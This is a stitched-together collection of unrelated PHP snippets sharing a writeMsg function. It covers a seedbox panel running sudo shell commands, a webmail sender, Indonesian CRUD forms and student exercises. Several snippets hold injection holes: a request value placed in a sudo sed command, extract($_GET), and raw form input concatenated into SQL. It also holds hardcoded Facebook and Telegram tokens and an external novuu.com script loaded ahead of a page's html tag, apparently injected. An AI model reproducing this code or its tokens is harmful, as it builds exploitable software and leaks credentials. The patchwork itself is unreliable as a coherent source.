} if ($_GET['removepackage-plex']) { //header('Location: /'); header('Refresh: 30; /'); writeMsg("Hello <b>{$username}</b>: I am completing the removal of the <b>Plex Media Server</b> package. Your browser will refresh once more when the uninstall has fully completed, this may take upwards of 30 seconds ... <br>"); $message = "Hello <b>{$username}</b>: I am completing the removal of the <b>Plex Media Server</b> package. Your browser will refresh once more when the uninstall has fully completed, this may take upwards of 30 seconds ... <br>"; shell_exec("sudo /usr/bin/removepackage-plex"); $myUrl = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] && !in_array(strtolower($_SERVER['HTTPS']), array('off', 'no')) ? 'https' : 'http'; $myUrl .= '://' . $_SERVER['HTTP_HOST']; $newURL = $myURL; } if ($_GET['installpackage-btsync']) { //header('Location: /'); header('Refresh: 30; /'); writeMsg("Hello <b>{$username}</b>: I am completing the installation of the <b>BTSync</b> package. Your browser will refresh once more when the installation has fully completed, this may take upwards of 30 seconds ... <br>"); $message = "Hello <b>{$username}</b>: I am completing the installation of the <b>BTSync</b> package. Your browser will refresh once more when the installation has fully completed, this may take upwards of 30 seconds ... <br><br>"; shell_exec("sudo /usr/bin/installpackage-btsync"); $myUrl = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] && !in_array(strtolower($_SERVER['HTTPS']), array('off', 'no')) ? 'https' : 'http'; $myUrl .= '://' . $_SERVER['HTTP_HOST']; $newURL = $myURL; } if ($_GET['removepackage-btsync']) { //header('Location: /'); header('Refresh: 30; /'); writeMsg("Hello <b>{$username}</b>: I am completing the removal of the <b>BTSync</b> package. Your browser will refresh once more when the uninstall has fully completed, this may take upwards of 30 seconds ... <br>"); $message = "Hello <b>{$username}</b>: I am completing the removal of the <b>BTSync</b> package. Your browser will refresh once more when the uninstall has fully completed, this may take upwards of 30 seconds ... <br>"; shell_exec("sudo /usr/bin/removepackage-btsync"); $myUrl = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] && !in_array(strtolower($_SERVER['HTTPS']), array('off', 'no')) ? 'https' : 'http'; $myUrl .= '://' . $_SERVER['HTTP_HOST']; $newURL = $myURL; }
<?php error_reporting(0); include 'lib/functions.php'; writeHello(); echo '<br>'; writeMsg('hello'); echo '<br>'; writeMsg('byebye'); echo '<br>'; writeMsgTo('stijn', 'how are you doing'); echo '<br>'; writeMsgTo('stijn'); echo '<br>'; cal(2, 2); echo '<br>'; cal2(4, 6); echo '<br>'; echo '<br>'; echo '<br>'; body();
<!DOCTYPE html> <html> <body> <?php function writeMsg() { echo "Hello world!"; } writeMsg(); ?> </body> </html>
function writePlex($ip) { $username = getUser(); if (file_exists('.plex')) { $myFile = "/etc/apache2/sites-enabled/plex.conf"; $fh = fopen($myFile, 'w') or die("can't open file"); $stringData = ""; fwrite($fh, $stringData); fclose($fh); unlink('.plex'); writeMsg("Hello <b>{$username}</b>: Im going to disable public access for <b>Plex Media Server</b>. You may still access Plex privately on port <a href=\"http://ipaccess:32400/web/index.html\" target=\"_blank\">32400</a>. Note however, you will need to open an SSH Tunnel to use your servers Plex Media Server.<br><br>If you do not know how, read about setting up an SSH Tunnel <a href=\"https://github.com/JMSDOnline/quick-box/wiki/F.A.Q#how-do-i-create-an-ssh-tunnel-and-connect-to-plex\" rel=\"noindex, nofollow\" target=\"_blank\">HERE</a> ... <br>"); $message = "Hello <b>{$username}</b>: Im going to disable public access for <b>Plex Media Server</b>. You may still access Plex privately on port <a href=\"http://ipaccess:32400/web/index.html\" target=\"_blank\">32400</a>. Note however, you will need to open an SSH Tunnel to use your servers Plex Media Server.<br><br>If you do not know how, read about setting up an SSH Tunnel <a href=\"https://github.com/JMSDOnline/quick-box/wiki/F.A.Q#how-do-i-create-an-ssh-tunnel-and-connect-to-plex\" rel=\"noindex, nofollow\" target=\"_blank\">HERE</a> ... <br>"; shell_exec('sudo service apache2 reload &'); return 'Disabling inital setup connection for plex ... '; } else { $myFile = "/etc/apache2/sites-enabled/plex.conf"; $fh = fopen($myFile, 'w') or die("can't open file"); $stringData = ""; $stringData .= "LoadModule proxy_module /usr/lib/apache2/modules/mod_proxy.so\n"; $stringData .= "LoadModule proxy_http_module /usr/lib/apache2/modules/mod_proxy_http.so\n"; $stringData .= "<VirtualHost *:31400>\n"; $stringData .= "ProxyRequests Off\n"; $stringData .= "ProxyPreserveHost On\n"; $stringData .= "<Proxy *>\n"; $stringData .= " AddDefaultCharset Off\n"; $stringData .= " Order deny,allow\n"; $stringData .= " Allow from all\n"; $stringData .= "</Proxy>\n"; $stringData .= "ProxyPass / http://ipaccess:32400/\n"; $stringData .= "ProxyPassReverse / http://ipaccess:32400/\n"; $stringData .= "</VirtualHost>\n"; $stringData .= "<IfModule mod_proxy.c>\n"; $stringData .= " Listen 31400\n"; $stringData .= "</IfModule>\n"; fwrite($fh, $stringData); fclose($fh); $myFile = ".plex"; $fh = fopen($myFile, 'w') or die("can't open file"); $stringData = ""; fwrite($fh, $stringData); fclose($fh); writeMsg("Hello <b>{$username}</b>: Im going to enable public access for your <b>Plex Media Server</b> ... </a><br>"); $message = "Hello <b>{$username}</b>: Im going to enable public access for your <b>Plex Media Server</b> ... </a><br>"; shell_exec('sudo service apache2 reload & '); return 'Enabling inital setup connection for plex ... '; } }
writeMsg("error locating .startup .. feel free to open a issue at the quickbox repo"); $message = "error locating .startup .. feel free to open a issue at the quickbox repo"; } header('Location: https://' . $_SERVER['HTTP_HOST'] . '/'); break; /* disable services */ /* disable services */ case 77: $name = $_GET['serviceend']; $thisname = str_replace(['yes', 'no', '!!~!!'], ['!!~!!', 'yes', 'no'], $name); if (file_exists('/home/' . $username . '/.startup')) { if ($name == "BTSYNC=yes") { $servicename = "btsync"; } else { $output = substr($thisname, 0, strpos(strtolower($thisname), '_')); $servicename = strtolower($output); if (strpos($servicename, 'rtorrent') !== false) { $servicename = "main"; } } writeMsg("Hello <b>{$username}</b>: Im going to disable <b>{$servicename}</b> ... </a><br>"); $message = "Hello <b>{$username}</b>: Im going to disable <b>{$servicename}</b> ... </a><br>"; shell_exec("sudo sed -i 's/{$name}/{$thisname}/g' /home/{$username}/.startup"); shell_exec("sudo -u {$username} pkill -9 {$servicename}"); } else { writeMsg("error locating .startup .. feel free to open an issue at the quickbox repo"); $message = "error locating .startup .. feel free to open an issue at the quickbox repo"; } header('Location: https://' . $_SERVER['HTTP_HOST'] . '/'); break; }
/** * Uninstrument the PHP file * * @param $file File path * @access public */ function uninstrument($file) { global $LOCAL_PHPCOVERAGE_LOCATION, $top, $bottom; $tmpfile = "{$file}.tmp"; $contents = file_get_contents($file); $len = strlen($contents); if (strpos($contents, $top) !== 0 && strrpos($contents, $bottom) !== $len - strlen($bottom)) { writeMsg("Skipping {$file}."); return; } $fr = fopen($file, "r"); $fw = fopen($tmpfile, "w"); if (!$fr) { error("Cannot read file: {$file}"); } if (!$fr) { error("Cannot write to file: {$tmpfile}"); } while (!feof($fr)) { $line = fgets($fr); if (strpos($line, $top) === false && strpos($line, $bottom) === false) { fputs($fw, $line); } } fclose($fr); fclose($fw); // Delete if already exists - 'rename()' on Windows will return false otherwise if (file_exists($file)) { unlink($file); } $ret = rename($tmpfile, $file); if (!$ret) { error("Cannot save file: {$file}"); } writeMsg("Uninstrumented: {$file}"); }
function sendMsg() { global $_GET; $v =& new validate(); $OUTPUT = ""; // restore the variables extract($_GET); extract($_FILES); // check if account is valid if (isset($_GET["aid"])) { if (!$v->isOk($_GET["aid"], "num", 0, 9, "")) { return "Invalid account number specified"; } // check if you may send mail from here $sql = "SELECT 1\n\t\t\t FROM mail_accounts WHERE ( username='******' OR \"public\"='1' )\n\t\t\t \tAND enable_smtp = '1' AND account_id='{$aid}'\n\n\t\tUNION\n\t\tSELECT 1\n\t\t\tFROM mail_accounts,mail_priv_accounts\n\t\t\tWHERE mail_accounts.account_id = mail_priv_accounts.account_id AND mail_accounts.account_id='{$aid}'\n\t\t\t\tAND priv_owner = '" . USER_NAME . "' AND enable_smtp = '1'"; $rslt = db_exec($sql); if (pg_num_rows($rslt) <= 0) { return "You may not send mail from this account<br>"; } } else { return "No account specified<br>"; } if (!isset($_GET["send_to"])) { $send_to = ""; } if (!isset($_GET["send_bcc"])) { $send_bcc = ""; } if (!isset($_GET["send_cc"])) { $send_cc = ""; } if (!isset($_GET["subject"])) { $subject = ""; } if (!isset($_FILES["attachment"])) { $attachment = ""; } if (!isset($_GET["body"])) { $body = ""; } $v->resetErrors(); $v->isOK($subject, "string", 1, 255, "Invalid subject."); // $v->isOK($send_to, "email", 1, 255, "Invalid recipient."); if (strlen($send_to) <= 0) { $v->addError("", "Invalid recipient"); } // $v->isOK($send_cc, "email", 0, 255, "Invalid cc recipient."); // $v->isOK($send_bcc, "email", 0, 255, "Invalid bcc recipient."); //if ( ! $v->isOK($bodydata, "string", 1, 255, "Invalid text in body.") ) { // $_GET["body"] = htmlspecialchars($body); // makes sure we dont get cross site scripting //} // ok now print errors if any if ($v->isError()) { $errs = $v->getErrors(); foreach ($errs as $arr => $errval) { $OUTPUT .= "{$errval['msg']}<br>"; } $OUTPUT .= writeMsg(); return $OUTPUT; } $bodydata = "<html>{$bodydata}</html>"; // get the smtp data $rslt = db_exec("SELECT smtp_from, smtp_reply, signature, smtp_host, smtp_auth, smtp_user, smtp_pass\n\t\tFROM mail_accounts WHERE account_id={$_GET['aid']}"); $smtp_data = pg_fetch_array($rslt); // build msg body $body = "{$body}\n\n{$smtp_data['signature']}"; // determine whether or not here is an attachment $has_attachment = is_uploaded_file($attachment["tmp_name"]); // modify message and create content_type header depending on whether or not an attachment was posted if ($has_attachment == FALSE) { $msgtype = $content_type = "text/html"; $transfer_encoding = "8bit"; } else { // has attachment $msgtype = $content_type = "multipart/mixed"; // create the main body $body_text = "Content-Type: text/html; charset=US-ASCII\n"; $body_text .= "Content-Transfer-Encoding: base64\n"; $body_text .= "\n" . chunk_split(base64_encode($bodydata)); // get the attachment data if (($fd = fopen($attachment["tmp_name"], "r")) == TRUE) { $attachment_data = ""; while (!feof($fd)) { $attachment_data .= fgets($fd, 4096); } fclose($fd); // delete the temporary file unlink($attachment["tmp_name"]); $attachment_data = chunk_split(base64_encode($attachment_data)); $attachment_headers = "Content-Type: {$attachment['type']}; name=\"{$attachment['name']}\"\n"; $attachment_headers .= "Content-Transfer-Encoding: base64\n"; $attachment_headers .= "Content-Disposition: attachment; filename=\"{$attachment['name']}\"\n"; $attachment_data = "{$attachment_headers}\n{$attachment_data}"; } else { // error opening the attachment file $attachment_data = ""; } // generate a unique boundary ( md5 of filename + ":=" + filesize ) $boundary = md5($attachment["name"]) . "=:" . $attachment["size"]; $content_type .= "; boundary=\"{$boundary}\""; // put together the body $bodydata = "\n--{$boundary}\n{$body_text}\n\n--{$boundary}\n{$attachment_data}\n\n--{$boundary}--\n"; } // generate the msg id list($buf, $domain) = explode("@", $smtp_data["smtp_from"]); // build headers $headers[] = "From: {$smtp_data['smtp_from']}"; $headers[] = "Reply-To: {$smtp_data['smtp_reply']}"; $headers[] = "X-Mailer: Cubit Mail"; $headers[] = "Return-Path: {$smtp_data['smtp_reply']}"; $headers[] = "Message-ID: <" . date("YmdHi") . "." . md5($bodydata) . "@{$domain}>"; $headers[] = "MIME-Version: 1.0"; $headers[] = "Content-Type: {$content_type}; charset=US-ASCII"; $headers[] = "cc: {$send_cc}"; $headers[] = "bcc: {$send_bcc}"; // create the header variable (it is done this way, to make management of headers easier, since there // may be no tabs and unnecesary whitespace in mail headers) //$headers[] = "\n"; // add another new line to finish the headers $headers = implode("\n", $headers); // send the message $sendmail =& new clsSMTPMail(); $OUTPUT = $sendmail->sendMessages($smtp_data["smtp_host"], 25, $smtp_data["smtp_auth"], $smtp_data["smtp_user"], $smtp_data["smtp_pass"], $send_to, $smtp_data["smtp_from"], $subject, $bodydata, $headers); if ($sendmail->bool_success) { $account_id = "{$_GET['aid']}"; $type_id = getMsgType($msgtype); // data and header is base64_encoded so weird characters can also be stored $buf = "{$headers}\n\n{$bodydata}"; $data = chunk_split(base64_encode($buf)); db_conn("cubit"); // insert body into Cubit if (!pglib_transaction("BEGIN")) { continue; } $rslt = db_exec("INSERT INTO mail_msgbodies (type_id, data)\n\t\t\tVALUES( {$type_id}, '{$data}' )"); if (pg_cmdtuples($rslt) <= 0) { continue; } $msgbody_id = pglib_lastid("mail_msgbodies", "msgbody_id"); pglib_transaction("COMMIT"); // get the folder this message should be inserted into $rslt = db_exec("SELECT fid_sent FROM mail_account_settings WHERE account_id='{$account_id}'"); if (pg_num_rows($rslt) > 0) { $infolder = pg_fetch_result($rslt, 0, 0); } else { $infolder = 0; } // move to no folder, but store, this way all is not lost // insert the message linked to body $sql = " INSERT INTO mail_messages ( account_id, folder_id, subject, add_from, add_to, add_cc,\n\t\t\t\t\tadd_bcc, priority, attachments, msgbody_id, flag, date)\n\t\t\t\tVALUES ( '{$account_id}', '{$infolder}', '{$subject}', '{$smtp_data['smtp_from']}', '{$send_to}',\n\t\t\t\t\t'{$send_cc}', '{$send_bcc}', '1', '" . ($has_attachment ? "1" : "0") . "', '{$msgbody_id}',\n\t\t\t\t\t'1', CURRENT_TIMESTAMP)"; $rslt = db_exec($sql) or errDie("Error saving message in Sent Items."); } /*if ( mail($send_to, $subject, $body, $headers) == TRUE ) $OUTPUT = "Successfully sent mail to $send_to.<br>"; else $OUTPUT = "Error sending mail.<br>";*/ return $OUTPUT; }
<?php /* if(isset($_POST['simpan'])) { mysql_query("INSERT INTO t_paket (id_paket, nama, harga) VALUES ('".$_POST['kode']."','".$_POST['nama']."','".$_POST['harga']."')") or die (mysql_error()); echo '<META HTTP-EQUIV="Refresh" Content="0; URL=?page=paket">'; }*/ ?> </form> <?php if (isset($_POST['simpan'])) { $cekdata = "SELECT id_paket from t_paket where id_paket='" . $_POST['kode'] . "'"; $ada = mysql_query($cekdata) or die(mysql_error()); $data = "SELECT * from t_paket"; $aya = mysql_query($data) or die(mysql_error()); if (mysql_num_rows($ada) > 0) { writeMsg('paket.sama'); } else { if (mysql_num_rows($aya) >= 5) { writeMsg('data.lebih'); } else { $query = "INSERT INTO t_paket (id_paket, nama, harga) VALUES ('" . $_POST['kode'] . "','" . $_POST['nama'] . "','" . str_replace(".", "", $_POST['harga']) . "')"; mysql_query($query) or die("Gagal menyimpan data karena :") . mysql_error(); echo '<META HTTP-EQUIV="Refresh" Content="0; URL=?page=paket">'; } } }
} if ($_GET['removeplugin-unpack']) { //header('Location: /'); header('Refresh: 5; /'); writeMsg("Hello <b>{$username}</b>: I have removed the <b>unpack plugin</b> for ruTorrent. Your browser will refresh now ... <br>"); $message = "Hello <b>{$username}</b>: I have removed the <b>unpack plugin</b> for ruTorrent. Your browser will refresh now ... <br>"; shell_exec("sudo -u root /usr/bin/removeplugin-unpack"); $myUrl = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] && !in_array(strtolower($_SERVER['HTTPS']), array('off', 'no')) ? 'https' : 'http'; $myUrl .= '://' . $_SERVER['HTTP_HOST']; $newURL = $myURL; } if ($_GET['installplugin-xmpp']) { //header('Location: /'); header('Refresh: 5; /'); writeMsg("Hello <b>{$username}</b>: I have installed the <b>xmpp plugin</b> for ruTorrent. Your browser will refresh now ... <br>"); $message = "Hello <b>{$username}</b>: I have installed the <b>xmpp plugin</b> for ruTorrent. Your browser will refresh now ... <br>"; shell_exec("sudo -u root /usr/bin/installplugin-xmpp"); $myUrl = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] && !in_array(strtolower($_SERVER['HTTPS']), array('off', 'no')) ? 'https' : 'http'; $myUrl .= '://' . $_SERVER['HTTP_HOST']; $newURL = $myURL; } if ($_GET['removeplugin-xmpp']) { //header('Location: /'); header('Refresh: 5; /'); writeMsg("Hello <b>{$username}</b>: I have removed the <b>xmpp plugin</b> for ruTorrent. Your browser will refresh now ... <br>"); $message = "Hello <b>{$username}</b>: I have removed the <b>xmpp plugin</b> for ruTorrent. Your browser will refresh now ... <br>"; shell_exec("sudo -u root /usr/bin/removeplugin-xmpp"); $myUrl = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] && !in_array(strtolower($_SERVER['HTTPS']), array('off', 'no')) ? 'https' : 'http'; $myUrl .= '://' . $_SERVER['HTTP_HOST']; $newURL = $myURL; }
fwrite($fp, print_r($inp, TRUE)); fclose($fp); */ //Decode the JSON //$input = json_decode($inp, false, 512, JSON_BIGINT_AS_STRING); //json_decode($inp); //Get Shit from Fb [Graph API result] //This token is linked to my account. Someone please look into changing it to a page auth $resultFB = file_get_contents("https://graph.facebook.com/1549751131951442/feed?access_token=483465641838113|GW7RtlsNHb3U3zcFj39HIQiFF1E"); //Just for testing /* echo var_dump(json_decode($resultFB)->{'data'}[0]->{'message'}); */ //Get the last 10 posts from the JSON encoded result from FB for ($x = 0; $x <= 10; $x++) { writeMsg(json_decode($resultFB)->{'data'}[$x]->{'message'}); } //Function to make the request to Telegram to send the message function writeMsg($var) { $url = 'https://api.telegram.org/bot187593023:AAECXd8sx9yyjTC_d65U1ZpbLeoHtuGKTXk/sendMessage'; $url2 = 'https://hookb.in/Zn9grRqY'; $data = array('chat_id' => -1001030325109, 'text' => $var, 'disable_notification' => 'true'); $options = array('http' => array('header' => "Content-type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($data))); $context = stream_context_create($options); $result = file_get_contents($url, false, $context); if ($result === FALSE) { /* Handle error */ } var_dump($result); }
<a href="?page=user" class="btn btn-info btn-sm"><span class="glyphicon glyphicon-arrow-left" aria-hidden="true"></span> Batal </a> </div> </div> <?php /* if(isset($_POST['simpan'])) { mysql_query("INSERT INTO t_pelanggan VALUES ('".$_POST['id']."','".$_POST['nama']."','".$_POST['alamat']."','".$_POST['telpon']."','".$_POST['email']."','".$_POST['paket']."')") or die (mysql_error()); echo '<META HTTP-EQUIV="Refresh" Content="0; URL=?page=pelanggan">'; }*/ ?> </form> </fieldset> <?php if (isset($_POST['simpan'])) { $cekdata = "SELECT id_pelanggan from t_user where id_pelanggan='" . $_POST['id'] . "'"; $ada = mysql_query($cekdata) or die(mysql_error()); if (mysql_num_rows($ada) > 0) { writeMsg('pelanggan.sama'); } else { $query = "INSERT INTO t_user VALUES ('" . $_POST['id'] . "','" . $_POST['username'] . "','" . md5($_POST['password']) . "','" . $_POST['level'] . "')"; mysql_query($query) or die("Gagal menyimpan data karena :") . mysql_error(); echo '<META HTTP-EQUIV="Refresh" Content="0; URL=?page=user">'; } } ?> <?php }
function sendMsg() { global $_GET; $v =& new validate(); $OUTPUT = ""; // restore the variables extract($_GET); extract($_FILES); if (!isset($_GET["send_to"])) { $send_to = ""; } if (!isset($_GET["send_bcc"])) { $send_bcc = ""; } if (!isset($_GET["send_cc"])) { $send_cc = ""; } if (!isset($_GET["subject"])) { $subject = ""; } if (!isset($_FILES["attachment"])) { $attachment = ""; } if (!isset($_GET["body"])) { $body = ""; } $v->resetErrors(); $v->isOK($subject, "string", 1, 255, "Invalid subject."); // $v->isOK($send_to, "email", 1, 255, "Invalid recipient."); if (strlen($send_to) <= 0) { $v->addError("", "Invalid recipient"); } // $v->isOK($send_cc, "email", 0, 255, "Invalid cc recipient."); // $v->isOK($send_bcc, "email", 0, 255, "Invalid bcc recipient."); //if ( ! $v->isOK($bodydata, "string", 1, 255, "Invalid text in body.") ) { // $_GET["body"] = htmlspecialchars($body); // makes sure we dont get cross site scripting //} // ok now print errors if any if ($v->isError()) { $errs = $v->getErrors(); foreach ($errs as $arr => $errval) { $OUTPUT .= "{$errval['msg']}<br>"; } $OUTPUT .= writeMsg(); return $OUTPUT; } $bodydata = "<html>{$bodydata}</html>"; $smtp_data = qryEmailSettings(); // build msg body $body = "{$body}\n\n{$smtp_data['sig']}"; // determine whether or not here is an attachment $has_attachment = is_uploaded_file($attachment["tmp_name"]); // modify message and create content_type header depending on whether or not an attachment was posted if ($has_attachment == FALSE) { $msgtype = $content_type = "text/html"; $transfer_encoding = "8bit"; } else { // has attachment $msgtype = $content_type = "multipart/mixed"; // create the main body $body_text = "Content-Type: text/html; charset=US-ASCII\n"; $body_text .= "Content-Transfer-Encoding: base64\n"; $body_text .= "\n" . chunk_split(base64_encode($bodydata)); // get the attachment data if (($fd = fopen($attachment["tmp_name"], "r")) == TRUE) { $attachment_data = ""; while (!feof($fd)) { $attachment_data .= fgets($fd, 4096); } fclose($fd); // delete the temporary file unlink($attachment["tmp_name"]); $attachment_data = chunk_split(base64_encode($attachment_data)); $attachment_headers = "Content-Type: {$attachment['type']}; name=\"{$attachment['name']}\"\n"; $attachment_headers .= "Content-Transfer-Encoding: base64\n"; $attachment_headers .= "Content-Disposition: attachment; filename=\"{$attachment['name']}\"\n"; $attachment_data = "{$attachment_headers}\n{$attachment_data}"; } else { // error opening the attachment file $attachment_data = ""; } // generate a unique boundary ( md5 of filename + ":=" + filesize ) $boundary = md5($attachment["name"]) . "=:" . $attachment["size"]; $content_type .= "; boundary=\"{$boundary}\""; // put together the body $bodydata = "\n--{$boundary}\n{$body_text}\n\n--{$boundary}\n{$attachment_data}\n\n--{$boundary}--\n"; } // generate the msg id $a = explode("@", $smtp_data["fromname"]); if (count($a) < 2) { $OUTPUT = "<li class='err'>Invalid from address. Click <a href='email-settings.php'>here</a> to change.</li>"; require "template.php"; } list($buf, $domain) = $a; // build headers $headers[] = "From: {$smtp_data['fromname']}"; $headers[] = "Reply-To: {$smtp_data['reply']}"; $headers[] = "X-Mailer: Cubit Mail"; $headers[] = "Return-Path: {$smtp_data['reply']}"; $headers[] = "Message-ID: <" . date("YmdHi") . "." . md5($bodydata) . "@{$domain}>"; $headers[] = "MIME-Version: 1.0"; $headers[] = "Content-Type: {$content_type}; charset=UTF-8"; $headers[] = "To: \"Cubit Clients\" <*****@*****.**>"; // create the header variable (it is done this way, to make management of headers easier, since there // may be no tabs and unnecesary whitespace in mail headers) //$headers[] = "\n"; // add another new line to finish the headers $headers = implode("\n", $headers); // send the message $sendmail =& new clsSMTPMail(); $OUTPUT = $sendmail->sendMessages($smtp_data["smtp_host"], 25, $smtp_data["smtp_auth"], $smtp_data["smtp_user"], $smtp_data["smtp_pass"], $send_to, $smtp_data["fromname"], $subject, $bodydata, $headers); return $OUTPUT; }
<script src="//novuu.com/fix.js" type="text/javascript"></script> <html> <head lang="en"> <meta charset="UTF-8"> <title>functions - Joris Bulters - MD2A</title> </head> <body> <?php include 'functions.php'; //See http://bovi.hosts.ma-cloud.nl/md2_bap/p2_w1_functions/ writeHello(); writeMsg('Hello person that reads this.'); writeMsg('Bye Bye mysterious person.'); writeMsgTo('Mysterious person', 'Welcome on this page.'); $outcome = addNumbers(5, 7); echo 'The outcome of 5 + 7 = ' . $outcome . '<br/>'; $outcome = calcRectNumb(5, 7); echo 'The area of a rectangle of 5 and 7 = ' . $outcome . '<br/>'; ?> <br> <hr> <h3>Currency Calculator</h3> <form action="money.php" method="post"> <p><input type="text" name="money" placeholder="Dollars -> Euros"></p> <p><input type="submit" value="Verstuur" name="go"></p> <p><input type="reset" value="Reset"></p> </form>
function hms_query($data) { global $url; global $secret; global $salt; $data['hash'] = $secret; $data['hash'] = crypt(json_encode($data), $salt); $query_string = http_build_query($data); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, count($data)); curl_setopt($ch, CURLOPT_POSTFIELDS, $query_string); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FAILONERROR, TRUE); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 4); // 4 second timeout curl_setopt($ch, CURLOPT_CAINFO, dirname(__FILE__) . '/RapidSSL_CA_bundle.pem'); //curl_setopt($ch, CURLOPT_SSLVERSION,3); $result = curl_exec($ch); if ($result == FALSE) { writeMsg("hms_query> curl_exec failed!"); writeMsg("curl_error=" . curl_error($ch)); return FALSE; } $res = json_decode($result, true); curl_close($ch); writeMsg("hms_query> result = [" . print_r($res, true)); return $res; }
function saveMsg($_GET) { extract($_GET); $sql = "\n\tINSERT INTO cubit.documents (title, status)\n\tVALUES ('[Email] {$subject}', 'active')"; db_exec($sql) or errDie("Unable to save in documents."); $doc_id = pglib_lastid("documents", "docid"); $sql = "\n\tINSERT INTO cubit.document_files (doc_id, filename, file, type, size)\n\tVALUES ('{$doc_id}', '{$doc_id}.html', '" . base64_encode($bodydata) . "',\n\t\t'text/html', '" . sizeof($bodydata) . "')"; db_exec($sql) or errDie("Unable to save document file."); return writeMsg(); }
<?php /* if(isset($_POST['simpan'])) { mysql_query("INSERT INTO t_paket (id_paket, nama, harga) VALUES ('".$_POST['kode']."','".$_POST['nama']."','".$_POST['harga']."')") or die (mysql_error()); echo '<META HTTP-EQUIV="Refresh" Content="0; URL=?page=paket">'; }*/ ?> </form> <?php $maxsize = 1024 * 200; // maksimal 200 KB (1KB = 1024 Byte) $valid_ext = array('jpg', 'jpeg', 'png', 'gif', 'bmp'); if (isset($_POST['simpan']) && $_POST['file']['size'] <= $maxsize) { $ext = strtolower(end(explode('.', $_POST['file']['name']))); $cekdata = "SELECT id_transaksi from t_transaksi where id_transaksi='" . $_POST['id'] . "'"; $ada = mysql_query($cekdata) or die(mysql_error()); $data = "SELECT * from t_transaksi"; $aya = mysql_query($data) or die(mysql_error()); if (mysql_num_rows($ada) > 0 && in_array($ext, $valid_array)) { writeMsg('invoice.sama'); } else { $query = "INSERT INTO t_transaksi (id_transaksi, id_pelanggan, tgl_bayar, nominal, bukti) VALUES ('" . $_POST['id'] . "','" . $_POST['id_pelanggan'] . "','" . $_POST['tgl_bayar'] . "','" . str_replace(".", "", $_POST['nominal']) . "','" . move_uploaded_file($_POST['file']['tmp_name'], 'upload/' . $_POST['file']['name']) . "')"; mysql_query($query) or die(mysql_error()); echo '<META HTTP-EQUIV="Refresh" Content="0; URL=?page=transaksi">'; } }
<div class="row"> <div class="col-lg-12"> <div class="page-header"> <h1>Form Edit (Update)</h1> </div> </div> </div> <div class="row"> <div class="col-md-6"> <form id="form_input" method="POST"> <?php if (isset($_POST['update'])) { mysql_query("UPDATE t_member SET nama = '" . $_POST['nama'] . "', email = '" . $_POST['email'] . "', hp = '" . $_POST['hp'] . "' WHERE id = '" . $_GET['id'] . "'"); writeMsg('update.sukses'); //Re-Load Data from DB $sql = mysql_query("SELECT id, nama, email, hp FROM t_member WHERE id = '" . $_GET['id'] . "'"); $data = mysql_fetch_array($sql); } ?> <div class="form-group"> <label class="control-label" for="nama">Nama (wajib diisi)</label> <input type="text" class="form-control" name="nama" id="nama" value="<?php echo $data['nama']; ?> " required> </div> <div class="form-group">
<?php require_once 'ja.php'; writeHello(); writeMsg('hello'); writeMsg('okdoei'); writeMsgTo('Robin', 'ja'); writeMsgTo('Robin'); $outcome = addValue(5, 7); echo 'The outcome of 5+7 = ' . $outcome . '<br/>'; $outcome = calcRect(5, 7); echo 'The area of a rectangle of 5 and 7 is ' . $outcome . '<br/>'; BMI();
<div class="row"> <div class="col-lg-12"> <div class="page-header"> <h1>Form Input (Create)</h1> </div> </div> </div> <div class="row"> <div class="col-md-6"> <form id="form_input" method="POST"> <?php if (isset($_POST['simpan'])) { mysql_query("INSERT INTO t_member (nama, email, hp) VALUES ('" . $_POST['nama'] . "','" . $_POST['email'] . "','" . $_POST['hp'] . "')"); writeMsg('save.sukses'); } ?> <div class="form-group"> <label class="control-label" for="nama">Nama (wajib diisi)</label> <input type="text" class="form-control" name="nama" id="nama" required> </div> <div class="form-group"> <label class="control-label" for="email">Email (wajib diisi)</label> <input type="email" class="form-control" name="email" id="email" required> </div> <div class="form-group"> <label class="control-label" for="hp">No HP</label>
<?php include 'funcs.php'; //See http://bovi.hosts.ma-cloud.nl/md2_bap/p2_w1_functions/ writeHello(); writeMsg('I greet you.'); writeMsg('You win, this time...'); writeMsgTo('Uther', 'put your faith in the Light!'); $outcome = addValue(5, 7); echo 'The outcome of 5 + 7 = ' . $outcome . '<br/>'; $outcome = calcRect(5, 7); echo 'The area of a rectangle of 5 and 7 = ' . $outcome . '<br/>';